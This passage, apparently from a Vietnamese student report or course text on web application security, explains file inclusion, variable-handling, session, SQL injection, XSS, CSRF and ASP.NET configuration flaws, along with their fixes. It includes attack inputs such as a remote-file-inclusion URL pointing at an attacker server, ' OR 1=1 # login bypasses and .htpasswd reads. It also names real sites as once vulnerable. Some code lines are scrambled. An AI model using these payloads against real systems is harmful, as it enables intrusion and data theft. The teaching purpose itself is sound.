về tài chính Do những tấn công dạng này thường âm thầm, nên các DN không thể chủ quan rằng họ chưa bị hacker viếng thăm vì trang web của họ không bị defaced Những tấn công nguy hiểm nhất chính là những xâm nhập không để lại dấu vết rõ ràng cho nạn nhân nhận biết là mình đã bị xâm nhập Nhóm DN NH và tài chính là những mục tiêu chính của những kiểu tấn công này
Xu hướng bảo mật mới
Các bạn có thể nghĩ xem, tổn thất sẽ là bao nhiêu nếu hacker xâm nhập vào hệ thống mạng nội bộ của DN (đặc biệt là NH) mà không bị phát hiện và ngăn chặn kịp thời? Những tấn công này chỉ có thể được phát hiện (và phòng tránh) khi DN có hệ thống quản
lý an ninh thông tin toàn diện và nghiêm ngặt, kết hợp với thiết bị an ninh phù hợp cùng với quy trình và nhóm nhân viên phụ trách an ninh thông tin được đào tạo nghiêm túc Những tấn công nguy hiểm nhất chính
Trang 20là những xâm nhập không để lại dấu
vết rõ ràng cho nạn nhân nhận biết là
mình đã bị xâm nhập.
Theo quan sát của tôi, hầu hết DN chỉ chú trọng đầu tư về các công nghệ bảo mật như tường lửa và anti-virus Như đã nhắc đến ở trên, để đạt được an ninh tốt trong DN, cần phải kết hợp giữa công nghệ, quy trình và con người Chỉ riêng công nghệ không thể cung cấp cho ta mức độ an ninh thỏa mãn trong môi trường toàn cầu hiện nay Hãy xem
ví dụ về thiết bị phát hiện xâm nhập (IDS) và thiết bị phòng chống xâm nhập (IPS) Những thiết bị này sẽ không mang lại hiệu quả tốt trừ phi chúng được cấu hình thích đáng và có quy trình theo dõi phù hợp Chính vì thế, ban lãnh đạo cần có nhận thức đúng
về những rủi ro và mối đe dọa an ninh thông tin và phân bổ tài nguyên phù hợp (đào tạo
về con người và chi phí cho thiết bị) để tích hợp những quy trình an ninh tại DN của mình
Trong kỷ nguyên Internet hiện nay, cần phải quan tâm nhiều hơn đến phát triển ứng dụng web theo cách thức bảo mật Điều này có thể đạt được thông qua vòng đời phát triển PM theo cách thức bảo mật (Secure Software Development Life-Cycle) Theo đó, yêu cầu về
an ninh thông tin được xác định ngay từ đầu và những lập trình viên phải được đào tạo về lập trình bảo mật Tích hợp tính năng an ninh ngay từ giai đoạn phát triển sẽ tiết kiệm chi phí của sản phẩm PM Hãy lấy xe ôtô làm ví dụ sản xuất xe ô tô gắn sẵn túi khí an toàn sẽ
an toàn và chi phí thấp hơn là sản xuất hoàn tất chiếc xe xong rồi mới gắn túi khí sau An ninh không còn là một tùy chọn của các lập trình viên và thiết kế PM, mà nó bắt buộc phải được kết hợp vào trong thiết kế và mô tả kỹ thuật của PM ứng dụng ngay từ lúc bắt đầu
CHƯƠNG 2 : CÁC LỖI BẢO MẬT WEBSITE HIỆN NAY.
Ngày nay, sự đe dọa lớn nhất đối với an ninh của các mạng máy tính của các tổ chức lại đến từ chính các Website công cộng và các ứng dụng đặt ở trên các web của họ Không giống như các dịch vụ dùng trong mạng cục bộ như là các cơ sở dữ liệu có thể ngăn cản sự truy cập từ bên ngoài thông qua firewalls, thì mọi người đều có thể truy cập vào một trang web công cộng,khiến cho các ứng dụng bảo mật gặp nhiều vấn
đề Khi mà các hệ thống mạng đang trở nên kiên cố hơn, các file có khả năng bảo mật thấp trong các ứng dụng web càng thu hút được sự chú ý của các hacker, bao gồm cả những người chỉ muốn tiêu khiển và cả những tên trộm, những kẻ luôn có các công nghệ đủ để khai thác các lỗ hổng đó Việc tấn công này có thể gây các nguy hại đến cho các hệ thống mạng.
Đã có một vài phần mềm và một số người phát triển được đào tạo để tạo ra các phần mềm bảo mật hay thiết kế các ứng dụng web có khả năng tự bảo vệ cao Bằng cách "baking in" an ninh của các ứng dụng ngay từ đầu quá trình phát triển thay cho "brush it on" sau khi đã hoàn thành, bạn sẽ dễ dàng tạo ra các ứng dụng bảo mật có thể chống lại sự tấn công của hackers Tuy nhiên, ngay cả những mã nguồn bảo mật được viết tỉ mỷ nhất trên C# hay VB.NET vẫn có thể bị nguy hại nếu bạn không quan tâm đến các file cấu hình trong Web.config của ứng dụng Các ứng dụng mạng cơ bản được cấu hình không hợp lý có thể bị nguy hiểm giống như được code không chính xác Các vấn đề còn tồi tệ hơn, khi mà nhiều thiết lập cấu hình hiện nay thường để default và khi đó các giá trị thường là không an toàn.
Ở đây chúng ta sẽ nói về những lỗi hay tồi tệ nhất trong file cấu hình có thể gây hại đến cho các ứng dụng của chúng ta.
Trang 212.1 Lỗi trong xử lý Files
•Lỗi trong xử lý file chúng ta thường gặp trong lập trình PHP, ASP , CGI , v…v…
•Lỗi này gây ra do lập trình viên đã sơ ý trong việc sử dụng các hàm xử lý file như : include(),require(),require_one(),fopen(), Execute , v…v…
•Các hacker có thể sử dụng lỗi này để xâm nhập vào các server để ăn cắp thông tin , deface v v… và còn có thể cướp quyền quản lý server…
•Đây là lỗi khá nghiêm trọng vì vậy khi lập trình chúng ta phải cẩn thận để không mắc lỗi này.
• Trong PHP , một số hàm như include , require , v…v… cho phép hacker có thể chạy script ở một server khác ( remote files ) để tấn công trực tiếp vào website hoặc server của bạn.
Lỗi trong xử lý Files
Lỗi trong xử lý Files
Hacker có thể tấn công vào như sau: http://victim.com/ibf/sources/Admin/ad_member.php?IN[code]=doform&root_path=http://myserver/
Hacker có thể chạy script PHP nằm trong file sources/lib/post_parser.php trên
http://myserver (remote server) Script trong file này có thể là script backdoor, chiếm quyền admin , leo thang chiếm server , deface v v…
• Ngoài ra, Hacker còn có thể tận dụng các lỗi trong việc xử lý file để có thể đọc source hoặc đọc các file hệ thống.
Ví dụ : Hacker có thể đọc source của trang web : http://interhacker.org chỉ bằng một cách rất đơn giản là gõ URL: http://interhacker.org/cc/?cclib= /index.php
===== index.php =====
Trang 22Lỗi này do người lập trình Web đã xử lý không cẩn thận những tham số của hàm
fopen(…),… tạo điều kiện cho hacker có thể xem source v v…
Không những thế hacker còn có thể sử dụng các lỗi này để đọc các file quan trọng của server như /etc/passwd , /etc/domainalias …
Các lỗi về file như thế này đặc biệt nguy hiểm đối với các server bảo mật lỏng lẻo.
•Những lỗi trong xử lý file này không những chỉ trên PHP mà còn lỗi trên CGI, ASP , …
•Example: (Chưa hoàn thành xong phần)
•Lỗi này là một trong những lỗi cơ bản nhưng nó đã gây ra không ít những khó khăn , thiệt hại cho các chủ Website, server v v…
•Tại Việt Nam , đã có rất nhiều server , website bị hack bởi lỗi này Điển hình như:
•Lỗi này do người viết code không chú ý hay có thể do sai sót trong việc khai báo hoặc
xử lý biến mà các hacker có thể lợi dụng để tấn công
•Rất nhiều Website : Shoping Cart , Mua bán Domain ,… bị mắc lỗi này trong 1 số khâu quan trọng mà các hacker có thể lợi dụng để gian lận tiền bạc trong giao dịch hay mua bán bất hợp pháp , ……
Thiệt hại do việc tấn công sẽ không nhỏ và còn làm mất uy tín của người lập trình viên Chúng ta sẽ phân tích một số lỗi để thấy được sự nguy hiểm của lỗi này (tất cả các lỗi nêu
ra đều đã được fix)
Trang 232.2 Lỗi trong khai báo và xử lý biến
www.truongthi.com.vn:
Bạn có thể access dễ dàng vào Control panel của trang Web trường thi mà trong đó chứa rất nhiều thông tin về account ( 1260, prepaid) , thông tin về Card Trường thi chỉ bằng cách gõ URL:
Lỗi trong khai báo và xử lý biến
•Biến push=0 nghĩa là chuyển domain của mình sang người khác , vì registerfly sơ xuất các hacker đã thay đổi giá trị push=1 trên Url ngẫu nhiên chuyển ngược lại domain của người khác sang tài khoản của mình , đây là biến push do registerfly định nghĩa 1 cách chưa cẩn thận , cho phép các tài khoản khác thay đổi giá trị biến mà không được phép
2.3 Lỗi Session trong enom và register :Đây là lỗi tương đối nguy hiểm khi ngườI viết
code không chú ý đến biến cần xét hoặc không mã hóa session id cho 1 member dẫn đến
có thể access vào user qua secssion id
Ví dụ : trong 1 trang thông tin : các thành viên được xác đinh bằng session id , khi 1 người sửa thông tin về mình trên address: http://victim.com/profile.php?id=43 Người đó sửa id=54 lập tức sang sửa được Information của người khác Nguyên nhân là do người viết code chỉ chú ý đến thành viên đó có id=43 chứ chưa quan tâm đến các yếu tố khác như username.
Thậm chí mặc dù id được mã hoá md5 : http://victim.com/profile.php?
id=432hjhfjsd87fs5435fgg4545 Các hacker có thể đoán được số id rồi mà hoá md5 id đó để
Trang 24•Ibf forum 1.2 RC 1 : Hiện nay phiên bản mới nhất của Ibf là 1.2 RC 2 nhưng phiên bản
1.2 RC 1 vẫn rất nhiều người sử dụng Ở phiên bản này , Hacker có thể dễ dàng đột nhập vào cơ sở dữ liệu lấy password của Admin ( Mặc dù đã được mã hoá nhưng vẫn có thể sử dụng được - Cướp quyền Admin )
Trước khi được xử lý biến $ibforums->input[‘name’] có giá trị là %27….Sau khi xử lý
biến này có giá trị là ‘… Hacker lợi dụng lỗi này để tấn công và lấy password admin
•Đây là một lỗi rất nguy hiểm.
•Rất nhiều Website của Việt Nam bị lỗi này như:
Thông tin
http://kenhsinhvien.net/@forum/links.php?url=http://www.tuyensinh.vdc.com.vn/http://kenhsinhvien.net/@forum/links.php?url=http://www.vietel.com.vn/
Các biến toàn cục(Global Variables)
Biến là một phần của ngôn ngữ lập trình Trong PHP, bạn có thể sử dụng register_globals trong file php.ini để khởi tạo các biến toàn cục – những biến mà bạn không cần phải tạo
ra nó một cách rõ ràng.
Hãy cùng xem xét đoạn mã dưới đây:
Trang 25register_globals = on và một chuỗi ?authorized=1 được đặt trên URL thì nó lại là
chuyện khác Trong trường hợp này, biến $authorized lúc này sẽ có giá trị 1 và cho
phép bất kì ai sử dụng đoạn URL này vượt và hàng rào mật khẩu và truy cập vào khu vực cần sử dụng mật khẩu.
Lỗi này khá phổ biến trong các ứng dụng lập trình bằng PHP.
May mắn thay, việc khắc phục lỗi này khá đơn giản Đầu tiên, việc bạn có thể làm là tắt register_globals đi và khởi tạo một cách chính xác giá trị cho biến $authorized bằng cách thêm $authorized = 0 vào đầu đoạn mã như sau:
hệ thống, các thông tin từ cây thư mục, thông tin kết nối database, thông tin user đến thông tin password…
Cách tốt nhất để bảo mật là bạn nên tắt Error Messages khi cho website chạy trực tuyến bằng cách thiết lập error_reporting về 0 trong file php.ini hoặc bằng htaccess Nếu bạn đang thực hiện việc xây dựng website bạn có thể thay đổi giá trị này để việc kiểm tra các lỗi dễ dàng hơn.
Trang 262.4 Lỗi SQL injection biến
Một trong những thế mạnh của PHP là khả năng liên lạc dễ dàng với cơ sở dữ liệu, nhất
là MySQL Tuy nhiên, điều này cũng tiềm ẩn nhiều nguy cơ bảo mật mà hay gặp nhất là SQL Injection – người dùng sử dụng một lỗi bảo mật nào đó để truy vấn trực tiếp vào cơ
sở dữ liệu của bạn và lấy các thông tin cần thiết.
Chúng ta hãy bắt đầu việc phân tích lỗi này bằng một truy vấn kiểm tra đăng nhập (đây là phần được rất nhiều website thực hiện):
?
[Copy to clipboard] View Code PHP
1 $checkWHERE Username = '"mysql_query.($_POST"SELECT Username, Password, UserLevel FROM Users ['username'] "' and Password = '"
$_POST['password'] "'")
Nhìn có vẻ ổn ? Và thực tế nó sẽ làm việc tốt khi cần kiểm tra thông tin người đăng nhập
có hợp lệ hay không Nhưng một hôm nào đó, tôi nhập vào trường username thông tin sau
' OR 1=1 #
Lúc này câu truy vẫn sẽ được thay đổi thành:
?
[Copy to clipboard] View Code PHP
1 SELECT UsernamePassword = '' , Password FROM Users WHERE Username = '' OR 1 1 #' and
Ký tự thăng (#) cho lệnh truy vấn sẽ xác định đoạn phía sau nó là một đoạn ghi chú (comment) và sẽ bỏ qua Lúc này, câu truy vấn sẽ thực hiện đến đoạn trước dấu thăng (#)
mà thôi 1 thì luôn luôn bằng 1 đúng không Và như vậy, hacker dễ dàng vượt qua vòng kiểm tra mật khẩu :( Chỉ cần biết thêm username của một quản trị viên nào đó nữa
là có thể đăng nhập dễ dàng.
Bằng một chút sáng tạo của mình, hacker có thể khai thác tiếp rất nhiều thông tin của người quản trị này như thông tin thẻ tín dụng, địa chỉ email hay có thể chiếm quyền quản trị website để khai thác thông tin người dùng.
May quá, lỗi này có thể được vô hiệu hóa dễ dàng bằng cách kiểm tra các dấu nháy (‘) do người dùng nhập và vô hiệu hóa chúng bằng hàm sau (hoặc bạn có thể viết thêm để kiểm tra kĩ càng hơn):
function make_safe($variable) {
$variable mysql_real_escape_string(trim($variable));
return $variable;
Trang 27$username make_safe($_POST['username']);
$password make_safe($_POST['password']);
$check mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$username."' and Password = '".$password."'")
Bây giờ, các dữ liệu độc hại ở trên được vô hiệu hóa trước khi thực hiện lệnh truy vấn Lúc này dữ liệu nhập vào được sửa thành “\ ‘OR 1 = 1 #” trước khi thực hiện truy vấn.
?
[Copy to clipboard] View Code PHP
1 SELECT Username1 1 #' and Password = '', Password, UserLevel FROM Users WHERE Username = '' OR
Bây giờ, trừ khi trong cơ sở dữ liệu của bạn chứa 1 dòng dữ liệu đặc biệt nào đó mà hacker có thể không cần đăng nhập Nếu không, chúng ta không cần phải lo.
Khai thác tập tin
Một số trang web chạy đoạn URL như thế này:
?
[Copy to clipboard] View Code PHP
1 index.php?page=contactus.html
Với trường hợp này, thông thường mục đích của lập trình viên là chạy đoạn mã được lưu trong file contactus.html trong file index.php Chuyện gì sẽ xảy ra nếu người dùng thay thế contactus.html thành một trang nào đó ? Ví dụ, nếu bạn đang sử dụng Apache ‘s mod_auth để bảo vệ các tập tin và có lưu mật khẩu của bạn trong một tập tin có tên “ htpasswd” (tên gọi thông thường), sau đó nếu người dùng đã truy cập vào địa chỉ sau, script sẽ ra tên người dùng của bạn và mật khẩu:
?
[Copy to clipboard] View Code PHP
1 index.php?page=.htpasswd
Tệ hại hơn, họ có thể chạy tập tin trên hosting của họ trên website của bạn để khai thác thông tin.
• Hiện nay lỗi SQL injection là một trong những lỗi cực kì nguy hiểm
• Hacker có thể sử dụng lỗi này để tấn công vào cơ sở dữ liệu của Website hoặc tấn công vào cả server
• Hacker có thể ăn cắp , cập nhật thông tin hoặc upload file để hack server.
• Rất nhiều Website trong nước và quốc tế bị lỗi này.
Trang 28•Một số site bị lỗi này như:
Thông tin
http://kenhsinhvien.net/@forum/links.php?url=http://www.support.vnn.vn/
http://kenhsinhvien.net/@forum/links.php?url=http://www.tuyensinh.vdc.com.vn/http://kenhsinhvien.net/@forum/links.php?url=http://www.fpt.vn/
http://kenhsinhvien.net/@forum/links.php?url=http://www.fptnet.com.vn/
http://kenhsinhvien.net/@forum/links.php?url=http://www.hcm.fpt.vn/
http://kenhsinhvien.net/@forum/links.php?url=http://www.member.fpt.vn/ v…v…
Cách khắc phục
Trước tiên, hãy chắn chắn bạn thiết lập đúng giá trị open_basedir trong tập tin php.ini và
thiết lập allow_url_fopen=off Điều đó sẽ ngăn chặn hầu hết các loại tấn công bằng cách
ngăn chặn việc xử lý tập tin từ xa và tập tin hệ thống Tiếp theo, nếu bạn, có thể kiểm tra các tập tin yêu cầu đối với một danh sách các tập tin hợp lệ Nếu bạn giới hạn các tập tin
mà có thể được truy cập bằng cách sử dụng mã này, bạn sẽ tiết kiệm cho mình rất nhiều
tình tiết tăng nặng sau đó.
Sử dụng các giá trị mặc định
MySQL sử dụng tài khoản mặc định là root và mật khẩu rỗng, SQL Server sử dụng tài
khoản ‘sa’ để đăng nhập với mật khẩu rỗng Nếu hacker tìm được địa chỉ máy chủ của
bạn thì đây chính là những thông tin đăng nhập đầu tiên mà họ cố gắng khai thác Do đó, bạn nên xóa hoặc thay đổi nó đi.
Để tập tin cài đặt (install)
Nhiều mã nguồn PHP đi kèm với những tập tin cài đặt (nhất là với các mã nguồn mở)
Nhiều trường hợp sau khi cài đặt bạn lại quên xóa nó đi Thông thường, các mã nguồn sẽ gửi cảnh báo cho bạn nếu bạn chưa xóa tập tin cài đặt nhưng cũng có những mã nguồn
không làm việc đó Nếu bạn không xóa tập tin này đi, một ngày đẹp trời nào đó hacker có thể lợi dụng việc này để cài đặt lại hệ thống và chép đè toàn bộ cơ sở dữ liệu của bạn
Lúc đó bạn sẽ ôm hận dài dài prr
Ngăn ngừa khả năng dự đoán
Website của bạn có chút “số má” sẽ kéo theo những người tò mò muốn phá hoại Điểm
đầu tiên họ muốn tìm đến là thư mục quản trị hệ thống của bạn Thông thường, họ sẽ tìm đến với các thư mục có thên ‘admin’ hoặc ‘administrator’, ‘admincp’…
Đặt tên thực mục quản trị như vậy nghĩa là bạn đang đặt website của mình trước con mắt
tò mò và nâng cao mức độ nguy hiểm cả website Hãy tưởng tượng với tên
?
Trang 291 http://www.yoursite.com/jsfh8sfsifuhsi8392
thì hacker sẽ mò ra tên thư mục quản trị của bạn dễ dàng hay không ?
Trong trường hợp việc tìm kiếm thư mục gặp khó khăn, bạn sẽ ngăn chặn được phần nào khả năng bị tấn công của mình.
Trường hợp tương tự cho user và password đơn giản cũng có thể giúp hacker dễ dàng dự đoán ra.
Cuối cùng, hãy chắn chắn những thông điệp bạn đưa ra khi có lỗi xảy ra được kiểm soát chặt chẽ Đừng đưa các thông điệp như ‘Tên người dùng không tồn tại’ hoặc ‘mật khẩu không chính xác với tên đăng nhập này’ Một hacker tinh ý sẽ dễ dàng dự đoán được user
và mật khẩu đăng nhập hợp lệ dựa vào những thông báo loại này.
Cuối cùng, không có gì là hoàn hảo
Nếu bạn cho rằng khả năng lập trình của bạn là hoàn hảo và website của bạn không thể bị tấn công thì đó là sai lầm lớn nhất Lập trình viên là người sống chung với lỗi, do đó bạn phải luôn cẩn thận và chuẩn bị cho những tình huống xấu nhất có thể
Một số phương pháp cơ bản bảo mật trong lập trình Web
• Xử lý biến là một trong những phương pháp quan trọng trong lập trình để có thể bảo mật thật tốt cho Website của bạn
• Xử lý biến có nhiều giai đoạn khá phức tạp nhưng không thể không làm vì nếu bạn không xử lý biến cẩn thận sẽ gây ra hậu quả rất nặng nề
• Các hacker sẽ không thể làm gì website của bạn ( trừ khi hack server hoặc domain) nếu bạn kiểm tra và xử lý biến một cách cẩn thận
• Chống SQL injection: Đối với Website nào sử dụng database cũng vậy , bạn cần phải chú trọng đến việc chống SQL injection.
Bạn nên làm theo các bước như sau:
Một số phương pháp xử lý biến
- Thay thế tất cả các dấu ‘ thành ‘’ hoặc xoá tất cả dấu ‘đi
- Xoá các dấu đặc biệt trong SQL như , ; , …
Trong PHP , dấu ‘ sẽ được chuyển thành dấu \’ , về cơ bản thì nó không gây nguy hiểm đối với mySQL nhưng đối với những loại khác như oracle, v v… thì cách chuyển này không hiệu quả , nên bạn hãy chú ý để tránh lỗi.
• Chống các lỗi về file: Để chống các lỗi về file bạn nên thực hiện các bứơc như sau: -Thay thế tất cả các dấu / thành kí tự khác
-Loại bỏ các kí tự như , , v v
Trang 30• Chống XSS : XSS là một lỗi khá thông dụng hacker có thể sử dụng lỗi này để chôm chỉa cookies v…v…Để chống lỗi này bạn nên làm như sau:
- Loại bỏ tất cả các tag html ( có thể sử dụng lệnh có sẵn) hoặc thay thể các kí tự đặc biệt như <,>,….
- Ngoài ra, những kí tự như: ;,:,//,… bạn nên xoá bỏ hoặc thay thế thanh mã hex của nó
Logging
• Logging là một kĩ thuật bảo mật khá đơn giản nhưng hiệu quả.
• Bạn nên log lại những thông tin về lỗi trên Website , rất có thể lỗi đó rất nguy hiểm có thể ảnh hưởng đến Website của bạn
• Bạn có thể chỉ cần bỏ thời gian viết những đoạn script logging đơn giản để có thể log lại những hoạt động bất hợp pháp trên Website của bạn
• Sử dụng error_log() ( PHP ) , Err (ASP ), … là bạn có thể log lại bất cứ các err nào trên Website của bạn.
• Hiện nay , hầu như tất cả các Website lớn đều đặt Logging …
2.5 Lỗi Code Injection (Cross-Site Scripting)
Không giống như SQL Injection dựa vào việc sử dụng các kí tự đặc biệt để kiểm soát câu truy vấn, Cross-Site Scripting dựa vào các lỗi trong quá trình xuất dữ liệu Nói một cách đơn giản hơn, Code Injection dựa vào các lỗi trong quá trình output dữ liệu để chèn các đoạn mã HTML có hại lên website của bạn khi nó hiển thị cho người dùng
Lấy một ví dụ đơn giản, trong một form đăng ký thành viên Người dùng sẽ đang ký một
username và một mật khẩu cùng những thông tin có liên quan để trở thành thành viên Nếu bạn không kiểm soát độ dài của một username, kẻ tấn công có thể điền vào phần thông tin
username như sau:
Bất kì ai khi xem website có chứa username của người dùng này chỉ thấy được UsernameABC, nhưng đoạn javascript có hại được chèn vào sẽ âm thầm chạy cùng lúc và thực hiện những thao tác có hại cho người dùng
Có nhiều việc để gây hại cho bạn như chèn một đoạn mã khiêu dâm, lấy cookie hay thêm vào đó một phần mềm keylogger…
Có nhiều cách để khắc phục việc này Trước tiên bạn có thể mã hóa HTML cho thông tin này Hoặc bạn có thể loại các đoạn mã HTML trước khi lưu, giới hạn các kí tự đặc biệt trong tên người dùng…
Một cách khác, bạn có thể giới hạn ký tự cho tên người dùng Một số website chỉ cho phép người dùng nhập thông tin dạng chữ và số, các kí tự đặt biệt và các tag HTML không được cho phép để đăng ký…
Rõ ràng, ở đây chúng ta chỉ xét trong trường hợp trường dữ liệu Username, các trường hợp khác (như nội dung bài viết) chúng ta đã bỏ qua Tuy nhiên, điều đó không có nghĩa là nó không xảy
ra đối với các trường dữ liệu khác Tùy theo từng trường hợp chúng ta có một cách xử lý thích hợp
2.6 Cross-Site Request Forgery (CSRF)
Trang 31Mặc dù có tên gần giống nhưng CSRF không giống như XSS đã nói ở trên CSRF là hình thức sử dụng chứng thực thông tin(authenticate) của một người khác để thực hiện một hành động của mình trên website (dựa vào quyền của người khác)
Chúng ta giả định rằng Jack có một tài khoản tại ngân hàng nào đó và login vào tài khoản của mình anh ta có thể thực hiện được các giao tác của mình như chuyển tiền hoặc kiểm tra tài khoản, tải các trang thông tin cá nhân Mỗi lần anh ta thực hiện giao tác với máy chủ ngân hàng, cookie được lưu lại và chứng thực là Jack là người sử dụng chức năng này
Bill là một người khác và sử dụng một website khác, nhưng Jack có sử dụng website của Bill và Bill nhân cơ hội này thu thập các cookie của Jack Một trong các trang web của Bill có gửi một yêu cầu đến hệ thống ngân hàng được Jack sử dụng thông qua một iframe Giả định rằng iframe được tải lên thực hiện một lệnh chuyển tiền từ tài khoản của Jack sang tài khoản của Bill Bởi vì lệnh chuyển tiền được gửi từ máy tính của Jack và ngân hàng nhận được cookie từ Jack (bởi vì Jack đã login vào hệ thống của ngân hàng và đang mở trang web của Bill) Do đó, ngân hàng ghi nhận lệnh chuyển tiền là do Jack thực hiện và chấp nhận giao dịch đó như một giao dịch hợp lệ
và tiền được chuyển đến tài khoản của Bill
Loại tấn công kiểu này cực kì nguy hiểm và hầu như rất khó phòng bị Là một nhà phát triển web, công việc của bạn là tìm cách ngăn chặn loại tấn công này Lúc này, bạn hãy nhớ Qui luật 1: Đừng bao giờ tin vào người dùng mà tôi đã nói đến ở phần 1
Trong PHP, bạn có thể dễ dàng quản lý và chống lại lỗi CFRS thông qua thói quen lập trình Không bao giờ cho phép người dùng làm bất cứ điều gì quan trọng với một yêu cầu _GET, hãy
sử dụng _POST Các hành động quan trọng cần được xác nhận lại của người dùng thông qua một trang web riêng có 2 nút “Đồng ý” và “Hủy lệnh” riêng biệt Bạn có thể trình bày URL gốc gửi yêu cầu để người dùng biết rằng lệnh đó xuất phát từ đâu, thực hiện tính năng gì để họ đề phòng và xác nhận nếu họ muốn chuyển
Bạn cũng có thể phá bỏ IFrame để đề phòng những giao dịch bất hợp phát xuất phát từ việc chèn Iframe vào website khác bằng đoạn lệnh sau:
Mã hóa kí tự
Nên có một bộ kí tự mã hóa riêng cho website của bạn và cơ sở dữ liệu Nếu một yêu cầu gửi từ một website khác đến website bạn, nó không thể trùng với thông tin được mã hóa giống như trên website bạn và bạn có thể từ chối xử lý yêu cầu này
Ví dụ, bạn có thể từ chối một yêu cầu xử lý (ví dụ upload file lên server chẳng hạn) nếu bộ mã hóa charactor không tương ứng với website (HTTP request headers, dữ liệu, PHP’s default encoding, PHP MySQL module, MySQL’s default set, thiết lập charset của mỗi table sử dụng…) Những nhà phát triển website sử dụng tiếng Anh thường ít quan tâm đến bộ charset (vì tiếng Anh không có dấu) Cũng bởi nguyên nhân này nên nhiều người trong số họ thường không quan
Trang 32tâm đến bộ mã kí tự và dẫn đến sự mù mờ hoặc để xảy ra lỗi đáng tiếc Tuy nhiên, các bộ mã kí
tự là một phần cơ bản của các ứng dụng web Tiếng Anh có thể hiển thị ở bất kì đâu nhưng những thứ tiếng khác (Tiếng Việt chẳng hạn ) chưa chắc có thể hiển thị tốt ở các bộ mã khác Hai bộ mã thường được các nhà phát triển sử dụng là ISO-8859-1 và UTF-8, ngoài ra còn có UCS-2, UTF-16 hoặc windows-1252
Tuy nhiên, ngay cả khi có 2 bộ mã khác nhau, PHP cũng có thể đồng hóa chúng để có thể đưa vào cơ sở dữ liệu bình thường và điều này làm cho việc kiểm tra bộ mã quan trọng hơn đối với bảo mật
Chuyên gia bảo mật Chris Shiflett đã viết về vấn đề này khá kĩ Trong đó, anh ta đã đưa kèm một ví dụ về việc tấn công SQL Injection ngay cả khi bạn đã xử lý dữ liệu đầu vào bằng
addslashes() mà tôi đã nói đến trong phần lỗi SQL Injection ở phần trước
Giải pháp là luôn luôn sử dụng hàm mysql_real_escape_string() thay cho addslashes() Lý tưởng nhất, hãy sử dụng cùng một bộ thiết lập kí tự trên toàn bộ hệ thống website của bạn (tốt nhất là
sử dụng UTF-8), nơi nào PHP cho phép bạn chỉ định mã hóa dữ liệu (htmlspecialchars() hoặc htmlentities()) – hãy sử dụng nó
2.7 lỗi Custom Errors Disabled
ASP.NET sẽ đưa ra một bản thông báo chi tiết các lỗi tới người dùng khi bạn vô hiệu các lỗi đã được mặc định như dưới đây:
Việc hiểu được nguồn gốc các lỗi thì tự nó không gây hại gì cho khả năng bảo mật của ứng dụng nhưng hãy chú ý là: một hacker càng có nhiều thông tin về một website thì chúng càng có nhiều khả năng tấn công
nó Một thông báo lỗi có thể trở thành một mỏ vàng các thông tin cho những kẻ tấn công Một thông báo lỗi liệt kê các phiên bản đặc trưng của các framework ASP.NET và NET có thể được sử dụng bởi các web server, cũng giống như việc bắt các exception vậy Chỉ cần biết các ứng dụng web cơ bản nào được dùng(trường hợp dùng ASP.NET) sẽ cho kẻ tấn công biết rẳng server đang chạy một phiên bản Microsoft Windows nào cũng như sử dụng web server là Microsoft Internet Information Server(IIS) 6.0 hay cao hơn Lỗi này cũng giúp cho các hacker biết được cấu hình của các ứng dụng web đó; chẳng hạn như, nếu một
"SqlException" được bắt, thì kẻ tấn công sẽ biết được rằng ứng dụng đang sử dụng một trong phiên bản của Microsoft SQL Server.
Bạn có thể xây dựng các ứng dụng có khả năng bảo mật để ngăn cản sự rò rỉ thông tin bằng cách điều chỉnh các đặc tính của thành phần sang "On" hoặc là "RemoteOnly" Cách thiết lập này sẽ báo cho ứng dụng chỉ hiển thị thông báo lỗi chung chung và khó nhận biết khi có lỗi nào đó được sinh ra Một cách khác
để tránh các vấn đề bảo mật ứng dụng là redirect người dùng đến một trang mới khi có lỗi xảy ra bằng cách thiết lập "defaultRedirect" trong Cách này sẽ giúp cho các ứng dụng khả năng bảo mật cao hơn bởi vì các trang lỗi chung mặc định sẽ không để lộ nhiều thông tin về hệ thống(đây là trường hợp server sử dụng ASP.NET ).
2.6 Lỗi Leaving Tracing Enabled in Web-Based Applications
Trace là một trong những tool hứu ich nhất trong ASP.NET, nó giúp bạn có thể đảm bảo tính bảo mật cho các ứng dụng Thật không may, nó cũng là một trong những tool mà các hacker lợi dụng nhiều nhất để tấn công vào ứng dụng của bạn nếu nó được cho phép trong sản phẩm(cho phép người dùng tác động vào).
Trang 33Khi đặt ở chế độ cho phép người dùng điều khiển(localOnly="false"), bất cứ người dùng nào cũng có thể xem chi tiết danh sách các yêu cầu gần đây đối với ứng dụng bằng cách rất đơn giản là vào trang
"trace.axd" Nếu một thông báo chi tiết lỗil là một mỏ vàng đối với các hacker thì việc truy cập được vào trace lại giống như Fort Knox! Truy cập vào trace cho biết rất nhiều thông tin: các phiên bản NET và ASP.NET mà server đang chạy; một liệt kê đầy đủ các phương thức do các yêu cầu sinh ra, bao gồm cả thời gian thực hiệnl; trạng thái các phiên và các key trạng thái của ứng dụng; các cookies đáp ứng và yêu cầu; thiết lập đầy đủ các yêu cầu headers, các biến hình thức, và các biến QueryString; và cuối cùng là thiết lập
Một hacker luôn tìm kiếm cách để biết được lịch sử cách sử dụng các biến hình thức bởi vì những điều này
có thể bao gồm cả các địa chỉ email, điều đó sẽ giúp chúng có thể bán lại cho các kẻ gửi thư rác, ID và password có thể bị sử dụng để mạo nhận người dùng, hoặc các thông tin về tài khoản ngân hàng hay thẻ tín dụng có thể bị đánh cắp Thậm chí là những dữ liệu có vẻ như vô hại nhất trong trace cũng có thể gây nguy hiểm nếu rơi vào tay kẻ xấu Ví dụ, biến server "APPL_PHYSICAL_PATH", bao gồm các đường dẫn vật
lý của các ứng dụng web trên server, có thể giúp các hacker tìm được các đường dẫn tới các thư mục tấn
Giống như 2 lỗi trên việc cho phép debug rất nguy hiểm bởi người dùng hoàn toàn có thể thu được các thông tin bên trong hệ thống của bạn qua đó tấn công ứng dụng của bạn Thật không may là thiết lập này không phải là lỗi duy nhất, điều đó giải thích tại sao những người phát triển phần mềm không nên chú trọng vào một cấu hình duy nhất khi muốn bảo đảm tính bảo mật của hệ thống Trong các phiên bản framework đầu tiên, một vài điều khiển trả về các thông báo tới người dùng khi có lỗi Điều này xảy ra cho
Trang 34dù có thiết lập debug hay ko, vì thế cho dù bạn hoàn toàn có thể cấu hình ứng dụng của mình chỉ hiển thị các thông tin không quan trọng thì source code của bạn vẫn có thể rơi vào tay người dùng nếu bạn vẫn cho
